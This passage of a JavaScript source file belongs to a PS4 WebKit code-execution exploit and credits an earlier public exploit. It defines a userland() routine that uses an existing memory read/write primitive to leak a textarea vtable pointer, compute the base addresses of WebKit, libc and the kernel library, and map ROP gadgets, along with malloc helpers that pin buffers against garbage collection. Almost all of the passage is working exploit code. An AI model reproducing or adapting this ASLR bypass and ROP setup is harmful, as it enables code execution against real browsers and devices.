()
| 88 | }; |
| 89 | |
| 90 | function userland() { |
| 91 | |
| 92 | //RW -> ROP method is strongly based off of: |
| 93 | //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit |
| 94 | |
| 95 | p.launch_chain = launch_chain; |
| 96 | p.malloc = malloc; |
| 97 | p.malloc32 = malloc32; |
| 98 | p.stringify = stringify; |
| 99 | p.array_from_address = array_from_address; |
| 100 | p.readstr = readstr; |
| 101 | |
| 102 | //pointer to vtable address |
| 103 | var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); |
| 104 | //address of vtable |
| 105 | var textAreaVtable = p.read8(textAreaVtPtr); |
| 106 | //use address of 1st entry (in .text) to calculate webkitbase |
| 107 | webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); |
| 108 | |
| 109 | libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); |
| 110 | libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); |
| 111 | |
| 112 | libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); |
| 113 | libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); |
| 114 | |
| 115 | webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import))); |
| 116 | webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin); |
| 117 | |
| 118 | for (var gadget in wk_gadgetmap) { |
| 119 | window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]); |
| 120 | } |
| 121 | for (var gadget in wkr_gadgetmap) { |
| 122 | window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]); |
| 123 | } |
| 124 | |
| 125 | function get_jmptgt(address) { |
| 126 | var instr = p.read4(address) & 0xFFFF; |
| 127 | var offset = p.read4(address.add32(2)); |
| 128 | if (instr != 0x25FF) { |
| 129 | return 0; |
| 130 | } |
| 131 | return address.add32(0x6 + offset); |
| 132 | } |
| 133 | |
| 134 | function malloc(sz) { |
| 135 | var backing = new Uint8Array(0x10000 + sz); |
| 136 | window.nogc.push(backing); |
| 137 | var ptr = p.read8(p.leakval(backing).add32(0x10)); |
| 138 | ptr.backing = backing; |
| 139 | return ptr; |
| 140 | } |
| 141 | |
| 142 | function malloc32(sz) { |
| 143 | var backing = new Uint8Array(0x10000 + sz * 4); |
| 144 | window.nogc.push(backing); |
| 145 | var ptr = p.read8(p.leakval(backing).add32(0x10)); |
| 146 | ptr.backing = new Uint32Array(backing.buffer); |
| 147 | return ptr; |
no test coverage detected